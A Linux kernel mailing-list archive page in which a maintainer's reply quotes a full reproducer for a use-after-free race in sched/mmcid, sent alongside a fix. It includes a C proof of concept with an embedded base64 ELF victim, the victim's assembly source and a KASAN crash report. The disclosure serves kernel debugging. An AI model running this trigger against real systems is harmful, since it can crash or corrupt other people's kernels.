mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: Weiming Shi <bestswngs@gmail.com>, Kees Cook <kees@kernel.org>,
	Alexander Viro <viro@zeniv.linux.org.uk>,
	Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
	Ingo Molnar <mingo@redhat.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Juri Lelli <juri.lelli@redhat.com>,
	Vincent Guittot <vincent.guittot@linaro.org>,
	Dietmar Eggemann <dietmar.eggemann@arm.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Ben Segall <bsegall@google.com>, Mel Gorman <mgorman@suse.de>,
	Valentin Schneider <vschneid@redhat.com>,
	K Prateek Nayak <kprateek.nayak@amd.com>,
	Thomas Gleixner <tglx@kernel.org>
Cc: linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
	linux-kernel@vger.kernel.org, Xiang Mei <xmei5@asu.edu>
Subject: Re: [PATCH v3] sched/mmcid: Synchronize MM teardown with affinity updates
Date: Tue, 10 Nov 2026 13:46:00 -0500	[thread overview]
Message-ID: <3d4c5808-dff4-4d5d-aab3-684eb8a9139b@efficios.com> (raw)
In-Reply-To: <20261110183809.3308868-2-bestswngs@gmail.com>

+CC tglx.

On 2026-11-10 13:38, Weiming Shi wrote:
> Hi,
> 
> Here is a standalone reproducer for the p->mm lifetime race.
> 
> The tested kernel was commit 05441d697f7f9a927264f4058cbbc6a03dfcac9d
> with:
> 
> ```
> CONFIG_SMP=y
> CONFIG_EXPERT=y
> # CONFIG_FUTEX is not set
> CONFIG_RSEQ=y
> CONFIG_SCHED_MM_CID=y
> CONFIG_KASAN=y
> CONFIG_KASAN_GENERIC=y
> CONFIG_KASAN_INLINE=y
> CONFIG_DEBUG_INFO=y
> ```
> 
> KASAN and DEBUG_INFO produce and decode the report. The vulnerable path
> requires CONFIG_SCHED_MM_CID=y. This exec manifestation also requires
> CONFIG_FUTEX=n because futex_exec_done() otherwise serializes old-MM teardown
> with the p->pi_lock held by the affinity updater.
> 
> Dependencies and scheduling setup:
> 
> - x86-64 Linux guest with at least four online CPUs;
> - gcc and glibc in the guest to build the PoC;
> - sched_setaffinity(), memfd_create(), and execveat() available;
> - eight guest vCPUs scheduled on four host CPUs for the tested 2:1 overcommit;
> - UID/GID 65534 for the tested run.
> 
> Host command:
> 
> ```
> taskset -c 0-3 qemu-system-x86_64 \
>      -accel kvm -machine q35 -cpu max -m 8G -smp 8 \
>      -kernel bzImage -initrd initramfs.cpio.gz \
>      -append "console=ttyS0 rdinit=/init nokaslr panic_on_warn=1 panic=-1" \
>      -nographic -no-reboot
> ```
> 
> Build and run inside the guest:
> 
> ```
> gcc -O3 -Wall -Wextra -o poc poc.c
> ./poc 180
> ```
> 
> The reproducer works as follows:
> 
> 1. It decodes an embedded 848-byte ET_EXEC image into a memfd.
> 2. The victim initially pins itself to the penultimate guest CPU. The setters
>     then alternate its affinity between that CPU alone and the last two guest
>     CPUs while it repeatedly executes the memfd with execveat(AT_EMPTY_PATH).
> 3. Up to six same-UID setter processes run on the other CPUs and alternate the
>     victim between one- and two-CPU affinity masks.
> 4. A 31-us periodic userspace SIGALRM provides interrupt pressure.
> 5. Host CFS overcommit can deschedule a setter after it loads the
>     victim's old p->mm. The victim can then complete setup_new_exec() and free
>     that old mm before the setter reaches mm_update_cpus_allowed().
> 
> The PoC counts syscall attempts, successful affinity updates, errors, and
> completed victim execs separately. Every ten-second window must contain both
> a successful affinity update and victim exec progress. It checks for an early
> victim or setter exit, and a clean result requires successful child statuses.
> 
> This is a stochastic race. The progress-checking version reported the UAF
> after about 52.60 seconds. The last completed ten-second window before the
> crash recorded 2,096,128 successful affinity updates, zero errors, and 18,975
> completed execs:
> 
> ```
> BUG: KASAN: slab-use-after-free in set_cpus_allowed_common
> Read of size 4 at addr ffff888123155e4c by task poc/5132
> CPU: 4 UID: 65534 PID: 5132 Comm: poc
> 
> Call Trace:
>   set_cpus_allowed_common             kernel/sched/core.c:10835
>   set_cpus_allowed_fair               kernel/sched/fair.c:10046
>   __set_cpus_allowed_ptr_locked       kernel/sched/core.c:3224
>   __set_cpus_allowed_ptr              kernel/sched/core.c:3258
>   __sched_setaffinity                 kernel/sched/syscalls.c:1161
>   sched_setaffinity                   kernel/sched/syscalls.c:1239
>   __x64_sys_sched_setaffinity         kernel/sched/syscalls.c:1275
>   do_syscall_64                       arch/x86/entry/syscall_64.c:84
>   entry_SYSCALL_64_after_hwframe      arch/x86/entry/entry_64.S:121
> 
> Freed by task 5127:
>   kmem_cache_free                     mm/slub.c:6757
>   __mmput                             kernel/fork.c:1204
>   mmput                               kernel/fork.c:1215
>   setup_new_exec                      fs/exec.c:1395
>   load_elf_binary                     fs/binfmt_elf.c:1024
>   bprm_execve                         fs/exec.c:1865
>   do_execveat_common.isra.0           fs/exec.c:1963
>   __x64_sys_execveat                  fs/exec.c:2047
>   do_syscall_64                       arch/x86/entry/syscall_64.c:84
>   entry_SYSCALL_64_after_hwframe      arch/x86/entry/entry_64.S:121
> ```
> 
> Complete PoC:
> 
> ```c
> /*
>   * Standalone reproducer for the sched/mmcid p->mm UAF.
>   *
>   * Build: gcc -O3 -o poc poc.c
>   * Run:   taskset -c 0-3 qemu-system-x86_64 ... -smp 8 ...
>   * Guest: ./poc [seconds]
>   *
>   * The tiny self-exec victim is embedded below and executed from memfd.  The
>   * tested VM used CONFIG_SCHED_MM_CID=y, CONFIG_FUTEX=n and 2:1 vCPU
>   * overcommit (8 vCPUs on 4 host CPUs).
>   */
> #define _GNU_SOURCE
> #include <errno.h>
> #include <fcntl.h>
> #include <poll.h>
> #include <sched.h>
> #include <signal.h>
> #include <stdint.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/eventfd.h>
> #include <sys/mman.h>
> #include <sys/prctl.h>
> #include <sys/stat.h>
> #include <sys/syscall.h>
> #include <sys/time.h>
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <time.h>
> #include <unistd.h>
> 
> #define DEFAULT_RUNTIME 180
> #define MAX_SETTERS 6
> #define READY_FD 3
> #define VICTIM_FD 4
> #define VICTIM_SIZE 848
> 
> /* 848-byte ET_EXEC produced from victim_min_execfd.S + victim_min.ld. */
> static const char victim_b64[] =
> "f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAsABAAAAAAABAAAAAAAAAABACAAAAAAAAAAAAAEAAOAAC"
> "AEAABQAEAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAOAEAAAAAAAA4AQAAAAAAAAAQ"
> "AAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAA"
> "AAAAAABJieS4AQAAAL8DAAAASI01VAAAALoIAAAADwVIg/gIdTlMiedIgecAAOD/vgAAQAC4CwAA"
> "AA8FuEIBAAC/BAAAAEiNNSgAAABIjRUpAAAARTHSQbgAEAAADwW4PAAAAL9/AAAADwX0kAEAAAAA"
> "AAAAAAAAAAAAAAAgAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA"
> "8f8AAAAAAAAAAAAAAAAAAAAACgAAAAAAAQAYAUAAAAAAAAAAAAAAAAAADgAAAAAAAQAgAUAAAAAA"
> "AAAAAAAAAAAAFAAAAAAAAQAoAUAAAAAAAAAAAAAAAAAAGQAAABIAAQCwAEAAAAAAAGcAAAAAAAAA"
> "AHZpY3RpbS5vAG9uZQBlbXB0eQBhcmd2AF9zdGFydAAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRh"
> "YgAuaW1hZ2UAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
> "AAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAABAAAABwAAAAAAAACwAEAAAAAAALAAAAAAAAAAiAAA"
> "AAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAA4AQAA"
> "AAAAAJAAAAAAAAAAAwAAAAUAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAA"
> "AAAAyAEAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAA"
> "AAAAAAAAAAAAAOgBAAAAAAAAIgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=";
> 
> struct setter_stats {
> 	volatile unsigned long long attempts;
> 	volatile unsigned long long successes;
> 	volatile unsigned long long errors;
> };
> 
> struct shared_state {
> 	struct setter_stats setters[MAX_SETTERS];
> };
> 
> static int b64_value(unsigned char c)
> {
> 	if (c >= 'A' && c <= 'Z')
> 		return c - 'A';
> 	if (c >= 'a' && c <= 'z')
> 		return c - 'a' + 26;
> 	if (c >= '0' && c <= '9')
> 		return c - '0' + 52;
> 	if (c == '+')
> 		return 62;
> 	if (c == '/')
> 		return 63;
> 	return -1;
> }
> 
> static int install_victim(void)
> {
> 	unsigned char out[VICTIM_SIZE];
> 	size_t i, n = 0;
> 	unsigned int acc = 0, bits = 0;
> 	int fd;
> 
> 	for (i = 0; victim_b64[i] && victim_b64[i] != '='; i++) {
> 		int v = b64_value((unsigned char)victim_b64[i]);
> 
> 		if (v < 0)
> 			continue;
> 		acc = (acc << 6) | (unsigned int)v;
> 		bits += 6;
> 		if (bits >= 8) {
> 			bits -= 8;
> 			if (n == sizeof(out)) {
> 				errno = EOVERFLOW;
> 				return -1;
> 			}
> 			out[n++] = (unsigned char)(acc >> bits);
> 			acc &= (1U << bits) - 1;
> 		}
> 	}
> 	if (n != sizeof(out)) {
> 		errno = EINVAL;
> 		return -1;
> 	}
> 	fd = syscall(SYS_memfd_create, "sched-mmcid-victim", 0);
> 	if (fd < 0)
> 		return -1;
> 	if (fd != VICTIM_FD) {
> 		if (dup2(fd, VICTIM_FD) < 0) {
> 			close(fd);
> 			return -1;
> 		}
> 		close(fd);
> 		fd = VICTIM_FD;
> 	}
> 	if (write(fd, out, n) != (ssize_t)n || fchmod(fd, 0700))
> 		return -1;
> 	return 0;
> }
> 
> static int install_exec_counter(void)
> {
> 	int fd = eventfd(0, EFD_NONBLOCK);
> 
> 	if (fd < 0)
> 		return -1;
> 	if (fd != READY_FD) {
> 		if (dup2(fd, READY_FD) < 0) {
> 			close(fd);
> 			return -1;
> 		}
> 		close(fd);
> 	}
> 	return 0;
> }
> 
> static void pin_self(int cpu)
> {
> 	cpu_set_t mask;
> 
> 	CPU_ZERO(&mask);
> 	CPU_SET(cpu, &mask);
> 	if (sched_setaffinity(0, sizeof(mask), &mask)) {
> 		fprintf(stderr, "pin cpu%d: %s\n", cpu, strerror(errno));
> 		_exit(2);
> 	}
> }
> 
> static void alarm_handler(int sig)
> {
> 	(void)sig;
> }
> 
> static void enable_irq_pressure(void)
> {
> 	struct sigaction sa = { .sa_handler = alarm_handler };
> 	struct itimerval timer = {
> 		.it_interval = { .tv_sec = 0, .tv_usec = 31 },
> 		.it_value = { .tv_sec = 0, .tv_usec = 31 },
> 	};
> 
> 	sigemptyset(&sa.sa_mask);
> 	sa.sa_flags = SA_RESTART;
> 	if (sigaction(SIGALRM, &sa, NULL) ||
> 	    setitimer(ITIMER_REAL, &timer, NULL))
> 		_exit(3);
> }
> 
> static int drain_exec_counter(unsigned long long *total)
> {
> 	uint64_t value;
> 
> 	for (;;) {
> 		ssize_t ret = read(READY_FD, &value, sizeof(value));
> 
> 		if (ret == sizeof(value)) {
> 			*total += value;
> 			continue;
> 		}
> 		if (ret < 0 && errno == EINTR)
> 			continue;
> 		if (ret < 0 && errno == EAGAIN)
> 			return 0;
> 		return -1;
> 	}
> }
> 
> static int wait_for_first_exec(pid_t victim, unsigned long long *execs)
> {
> 	struct pollfd pfd = { .fd = READY_FD, .events = POLLIN };
> 	int status, ret;
> 
> 	do {
> 		ret = poll(&pfd, 1, 5000);
> 	} while (ret < 0 && errno == EINTR);
> 	if (ret != 1 || !(pfd.revents & POLLIN) ||
> 	    drain_exec_counter(execs) || !*execs)
> 		return -1;
> 	ret = waitpid(victim, &status, WNOHANG);
> 	if (ret == victim) {
> 		errno = ECHILD;
> 		return -1;
> 	}
> 	return ret < 0 ? -1 : 0;
> }
> 
> static void publish_stats(struct setter_stats *stats,
> 			  unsigned long long attempts,
> 			  unsigned long long successes,
> 			  unsigned long long errors)
> {
> 	__atomic_store_n(&stats->attempts, attempts, __ATOMIC_RELAXED);
> 	__atomic_store_n(&stats->successes, successes, __ATOMIC_RELAXED);
> 	__atomic_store_n(&stats->errors, errors, __ATOMIC_RELAXED);
> }
> 
> static void run_setter(pid_t victim, int cpu, int victim_a, int victim_b,
> 		       int index, time_t deadline, struct shared_state *state)
> {
> 	cpu_set_t one, two;
> 	unsigned long long attempts = 0, successes = 0, errors = 0;
> 
> 	prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
> 	pin_self(cpu);
> 	enable_irq_pressure();
> 	CPU_ZERO(&one);
> 	CPU_SET(victim_a, &one);
> 	CPU_ZERO(&two);
> 	CPU_SET(victim_a, &two);
> 	CPU_SET(victim_b, &two);
> 	while (time(NULL) < deadline) {
> 		if (!syscall(SYS_sched_setaffinity, victim, sizeof(one), &one))
> 			successes++;
> 		else
> 			errors++;
> 		attempts++;
> 		if (!syscall(SYS_sched_setaffinity, victim, sizeof(two), &two))
> 			successes++;
> 		else
> 			errors++;
> 		attempts++;
> 		if (!(attempts & 0x3ff))
> 			publish_stats(&state->setters[index], attempts,
> 				      successes, errors);
> 	}
> 	publish_stats(&state->setters[index], attempts, successes, errors);
> 	_exit(0);
> }
> 
> static void load_totals(struct shared_state *state, int nset,
> 			unsigned long long *attempts,
> 			unsigned long long *successes,
> 			unsigned long long *errors)
> {
> 	int i;
> 
> 	*attempts = *successes = *errors = 0;
> 	for (i = 0; i < nset; i++) {
> 		*attempts += __atomic_load_n(&state->setters[i].attempts,
> 					     __ATOMIC_RELAXED);
> 		*successes += __atomic_load_n(&state->setters[i].successes,
> 					      __ATOMIC_RELAXED);
> 		*errors += __atomic_load_n(&state->setters[i].errors,
> 					   __ATOMIC_RELAXED);
> 	}
> }
> 
> static int wait_child(pid_t pid, int *status)
> {
> 	pid_t ret;
> 
> 	do {
> 		ret = waitpid(pid, status, 0);
> 	} while (ret < 0 && errno == EINTR);
> 	return ret == pid ? 0 : -1;
> }
> 
> int main(int argc, char **argv)
> {
> 	struct shared_state *state;
> 	pid_t victim, setters[MAX_SETTERS];
> 	time_t deadline;
> 	unsigned long long attempts = 0, successes = 0, errors = 0;
> 	unsigned long long execs = 0, previous_execs, previous_successes = 0;
> 	int cpus, runtime, victim_a, victim_b, nset, i, status;
> 	int spawned = 0, failed = 0;
> 
> 	setvbuf(stdout, NULL, _IONBF, 0);
> 	setvbuf(stderr, NULL, _IONBF, 0);
> 	cpus = (int)sysconf(_SC_NPROCESSORS_ONLN);
> 	if (cpus < 4) {
> 		fprintf(stderr, "need at least four online CPUs\n");
> 		return 1;
> 	}
> 	runtime = argc > 1 ? atoi(argv[1]) : DEFAULT_RUNTIME;
> 	if (runtime <= 0)
> 		runtime = DEFAULT_RUNTIME;
> 	victim_a = cpus - 2;
> 	victim_b = cpus - 1;
> 	nset = victim_a < MAX_SETTERS ? victim_a : MAX_SETTERS;
> 	state = mmap(NULL, sizeof(*state), PROT_READ | PROT_WRITE,
> 		     MAP_SHARED | MAP_ANONYMOUS, -1, 0);
> 	if (state == MAP_FAILED)
> 		return 1;
> 	for (i = 0; i < MAX_SETTERS; i++)
> 		setters[i] = -1;
> 	if (install_exec_counter() || install_victim()) {
> 		perror("install victim");
> 		return 1;
> 	}
> 
> 	victim = fork();
> 	if (!victim) {
> 		cpu_set_t pinned;
> 		char *const av[] = { "victim", NULL };
> 		char *const ev[] = { NULL };
> 
> 		prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
> 		CPU_ZERO(&pinned);
> 		CPU_SET(victim_a, &pinned);
> 		if (sched_setaffinity(0, sizeof(pinned), &pinned))
> 			_exit(4);
> 		syscall(SYS_execveat, VICTIM_FD, "", av, ev, AT_EMPTY_PATH);
> 		_exit(127);
> 	}
> 	if (victim < 0)
> 		return 1;
> 	if (wait_for_first_exec(victim, &execs)) {
> 		perror("victim did not begin exec loop");
> 		failed = 1;
> 		goto cleanup;
> 	}
> 	deadline = time(NULL) + runtime;
> 	printf("[*] standalone minimal-exec race: runtime=%ds setters=%d\n",
> 	       runtime, nset);
> 	printf("[*] victim starts on cpu%d; setters alternate {%d} and {%d,%d}\n",
> 	       victim_a, victim_a, victim_a, victim_b);
> 	for (i = 0; i < nset; i++) {
> 		setters[i] = fork();
> 		if (!setters[i])
> 			run_setter(victim, i, victim_a, victim_b, i,
> 				   deadline, state);
> 		if (setters[i] < 0) {
> 			perror("fork setter");
> 			failed = 1;
> 			goto cleanup;
> 		}
> 		spawned++;
> 	}
> 	previous_execs = execs;
> 	while (time(NULL) < deadline) {
> 		struct timespec delay;
> 		time_t remaining = deadline - time(NULL);
> 		pid_t ret;
> 
> 		ret = waitpid(victim, &status, WNOHANG);
> 		if (ret == victim) {
> 			fprintf(stderr, "victim exited early: status=0x%x\n", status);
> 			victim = -1;
> 			failed = 1;
> 			goto cleanup;
> 		}
> 		if (ret < 0) {
> 			perror("waitpid victim");
> 			failed = 1;
> 			goto cleanup;
> 		}
> 		for (i = 0; i < spawned; i++) {
> 			if (setters[i] < 0)
> 				continue;
> 			ret = waitpid(setters[i], &status, WNOHANG);
> 			if (ret == setters[i]) {
> 				setters[i] = -1;
> 				if (time(NULL) < deadline || !WIFEXITED(status) ||
> 				    WEXITSTATUS(status)) {
> 					fprintf(stderr,
> 						"setter %d exited early: status=0x%x\n",
> 						i, status);
> 					failed = 1;
> 					goto cleanup;
> 				}
> 			} else if (ret < 0) {
> 				perror("waitpid setter");
> 				failed = 1;
> 				goto cleanup;
> 			}
> 		}
> 		if (remaining <= 0)
> 			break;
> 		delay.tv_sec = remaining > 10 ? 10 : remaining;
> 		delay.tv_nsec = 0;
> 		while (nanosleep(&delay, &delay) && errno == EINTR)
> 			;
> 		if (drain_exec_counter(&execs)) {
> 			perror("read exec counter");
> 			failed = 1;
> 			goto cleanup;
> 		}
> 		ret = waitpid(victim, &status, WNOHANG);
> 		if (ret == victim) {
> 			fprintf(stderr, "victim exited early: status=0x%x\n", status);
> 			victim = -1;
> 			failed = 1;
> 			goto cleanup;
> 		}
> 		if (ret < 0) {
> 			perror("waitpid victim");
> 			failed = 1;
> 			goto cleanup;
> 		}
> 		load_totals(state, nset, &attempts, &successes, &errors);
> 		if (execs == previous_execs) {
> 			fprintf(stderr, "victim made no exec progress in window\n");
> 			failed = 1;
> 			goto cleanup;
> 		}
> 		if (successes == previous_successes) {
> 			fprintf(stderr,
> 				"setters made no successful affinity progress in window\n");
> 			failed = 1;
> 			goto cleanup;
> 		}
> 		printf("[*] progress: affinity_success=%llu attempts=%llu "
> 		       "errors=%llu execs=%llu\n",
> 		       successes, attempts, errors, execs);
> 		previous_execs = execs;
> 		previous_successes = successes;
> 	}
> 	for (i = 0; i < spawned; i++) {
> 		if (setters[i] < 0)
> 			continue;
> 		if (wait_child(setters[i], &status) || !WIFEXITED(status) ||
> 		    WEXITSTATUS(status)) {
> 			fprintf(stderr, "setter %d failed: status=0x%x\n", i, status);
> 			failed = 1;
> 		}
> 		setters[i] = -1;
> 	}
> 	load_totals(state, nset, &attempts, &successes, &errors);
> 	if (!attempts || !successes || attempts != successes + errors) {
> 		fprintf(stderr, "invalid affinity totals\n");
> 		failed = 1;
> 	}
> 	if (drain_exec_counter(&execs)) {
> 		fprintf(stderr, "failed to read final exec progress\n");
> 		failed = 1;
> 	}
> 	if (kill(victim, SIGKILL)) {
> 		perror("kill victim");
> 		failed = 1;
> 	} else if (wait_child(victim, &status) || !WIFSIGNALED(status) ||
> 		   WTERMSIG(status) != SIGKILL) {
> 		fprintf(stderr, "unexpected victim status: 0x%x\n", status);
> 		failed = 1;
> 	}
> 	victim = -1;
> 	if (!failed) {
> 		printf("[*] validated completion: affinity_success=%llu "
> 		       "attempts=%llu errors=%llu execs=%llu; no KASAN report\n",
> 		       successes, attempts, errors, execs);
> 		return 0;
> 	}
> 
> cleanup:
> 	for (i = 0; i < spawned; i++) {
> 		if (setters[i] > 0) {
> 			kill(setters[i], SIGKILL);
> 			wait_child(setters[i], &status);
> 		}
> 	}
> 	if (victim > 0) {
> 		kill(victim, SIGKILL);
> 		wait_child(victim, &status);
> 	}
> 	puts("[!] validation failed");
> 	return 1;
> }
> ```
> 
> The embedded victim source and linker script follow.
> 
> `victim_min_execfd.S`:
> 
> ```asm
> 	.section .text
> 	.global _start
> 	.type _start,@function
> _start:
> 	mov %rsp, %r12
> 
> 	/* Count this instance through the inherited eventfd. */
> 	mov $1, %eax
> 	mov $3, %edi
> 	lea one(%rip), %rsi
> 	mov $8, %edx
> 	syscall
> 	cmp $8, %rax
> 	jne .Lexit
> 
> 	/* Drop the stack and adjacent vDSO/vvar mappings before exec. */
> 	mov %r12, %rdi
> 	and $-2097152, %rdi
> 	mov $4194304, %esi
> 	mov $11, %eax
> 	syscall
> 
> 	/* execveat(inherited_memfd_4, "", argv, NULL, AT_EMPTY_PATH). */
> 	mov $322, %eax
> 	mov $4, %edi
> 	lea empty(%rip), %rsi
> 	lea argv(%rip), %rdx
> 	xor %r10d, %r10d
> 	mov $0x1000, %r8d
> 	syscall
> 
> .Lexit:
> 	mov $60, %eax
> 	mov $127, %edi
> 	syscall
> 	hlt
> 	.size _start, .-_start
> 
> 	.section .data
> 	.align 8
> one:
> 	.quad 1
> empty:
> 	.byte 0
> 	.align 8
> argv:
> 	.quad empty
> 	.quad 0
> 
> 	.section .note.GNU-stack,"",@progbits
> ```
> 
> `victim_min.ld`:
> 
> ```ld
> ENTRY(_start)
> 
> PHDRS
> {
> 	image PT_LOAD FILEHDR PHDRS FLAGS(7);
> 	stack PT_GNU_STACK FLAGS(6);
> }
> 
> SECTIONS
> {
> 	. = 0x400000 + SIZEOF_HEADERS;
> 	.image : ALIGN(16) {
> 		*(.text*)
> 		*(.rodata*)
> 		*(.data*)
> 		*(.bss*)
> 	} :image
> 	/DISCARD/ : { *(.note*) *(.comment*) *(.eh_frame*) }
> }
> ```
> 
> The embedded image was built with GCC 16.2.1 and GNU ld 2.46.1:
> 
> ```sh
> gcc -c -nostdlib -o victim.o victim_min_execfd.S
> ld -nostdlib -T victim_min.ld -o victim victim.o
> test "$(stat -c %s victim)" = 848
> readelf -h -l -S victim
> base64 -w 76 victim
> ```
> 
> 
> Thanks,
> Weiming
> 


-- 
Mathieu Desnoyers
EfficiOS Inc.
https://www.efficios.com

  reply	other threads:[~2026-11-10 18:46 UTC|newest]

Thread overview: 4+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-11-10 18:38 Weiming Shi
2026-11-10 18:38 ` Weiming Shi
2026-11-10 18:46   ` Mathieu Desnoyers [this message]
2026-11-10 18:45 ` Mathieu Desnoyers

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=3d4c5808-dff4-4d5d-aab3-684eb8a9139b@efficios.com \
    --to=mathieu.desnoyers@efficios.com \
    --cc=bestswngs@gmail.com \
    --cc=brauner@kernel.org \
    --cc=bsegall@google.com \
    --cc=dietmar.eggemann@arm.com \
    --cc=jack@suse.cz \
    --cc=juri.lelli@redhat.com \
    --cc=kees@kernel.org \
    --cc=kprateek.nayak@amd.com \
    --cc=linux-fsdevel@vger.kernel.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=linux-mm@kvack.org \
    --cc=mgorman@suse.de \
    --cc=mingo@redhat.com \
    --cc=peterz@infradead.org \
    --cc=rostedt@goodmis.org \
    --cc=tglx@kernel.org \
    --cc=vincent.guittot@linaro.org \
    --cc=viro@zeniv.linux.org.uk \
    --cc=vschneid@redhat.com \
    --cc=xmei5@asu.edu \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®